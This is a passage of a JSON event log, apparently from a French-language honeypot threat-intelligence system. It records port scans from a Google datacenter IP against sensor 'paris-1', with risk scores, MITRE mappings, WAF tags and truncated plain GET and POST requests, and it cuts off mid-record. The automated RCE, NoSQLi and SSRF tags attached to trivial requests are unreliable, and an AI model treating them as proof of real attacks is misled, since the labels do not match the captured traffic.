\u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228501\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022splunk\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true, \u0022behavior_alert_count\u0022: 1, \u0022behavior_priority\u0022: 72}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8501","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":8,"bytes_in":216},{"id":14459880,"ip":"34.19.116.51","ts":"2026-07-30 18:47:28.000000","proto":"tcp","src_port":10415,"dst_port":8098,"service":"http","classification":"port_scan_syn","waf_score":16,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","http_method":"GET","http_target":"\/","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 0, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u002285c47ddeb33f86ad31706848f828b6c859fd8929\u0022, \u0022http_target_hash\u0022: \u002242099b4af021e53fd8fd4e056c2568d7c2e3ffa8\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 185, \u0022payload_entropy\u0022: 5.3666559632548365, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8098, \u0022risk_waf\u0022: 72.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 25.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 2.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 25.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 53, \u0022tag_count\u0022: 3, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022f619c107fa0c70395daa9c6ab94ad49bb60c1bce\u0022, \u0022event_fingerprint\u0022: \u00226eb627d83d39abbafc7bf052c78fdedabc2bd43f\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 25.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 28}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u002206493cb184ff7bdebabcd050e62bafbb\u0022, \u0022path_pattern_hash\u0022: \u00228a5edab282632443219e051e4ade2d1d\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8098, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 53}, \u0022payload_preview\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022155087d52fbd3a92c10f7c6614228f95e3ccd117\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8098, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u00228098 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 72.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 25.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 53, \u0022correlation_boost\u0022: 28}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 53, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8098, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +28\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8098, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8098 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: 62.3.50.33:8098\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.\u0022, \u0022target_port_label\u0022: \u00228098 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 3 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +28 \u00b7 3 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228098\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 6, \u0022port_scan_ports_sample\u0022: [8083, 8084, 8087, 8089, 8090, 8098], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 3, \u0022scan_velocity_ports_per_s\u0022: 0.73, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022splunk\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 28, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8098","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022]","anomalies":"[]","severity":8,"bytes_in":185},{"id":14459797,"ip":"34.19.116.51","ts":"2026-07-30 18:47:27.000000","proto":"tcp","src_port":45066,"dst_port":8089,"service":"http","classification":"port_scan_syn","waf_score":26,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022]","http_method":"POST","http_target":"\/login","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u002206b11278b3d8c06d12bf6f74085c2806fc07bb05\u0022, \u0022http_target_hash\u0022: \u0022c42c80aa06113268fddf90dfdc871fb7318ff5cf\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 1832, \u0022payload_entropy\u0022: 5.0817084437477025, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8089, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 7.4, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 68, \u0022tag_count\u0022: 8, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002251177abd4e216a392696adac7493062c9748122c\u0022, \u0022event_fingerprint\u0022: \u002222368ec161a8937c7a5dc4efd4b7fd90b08e8bfc\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 24}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022c66381563d79fc169b5fb4f8244ddc31\u0022, \u0022path_pattern_hash\u0022: \u00227e93fba0bc7adda858a2500090e639e4\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 68}, \u0022payload_preview\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Type: application\/json\\r\\nCont\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Type: application\/json\\r\\nCont\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022107357bec3ed242b3b0c5f66dc85624f9367e052\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/login\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 24}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 68, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8089, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: 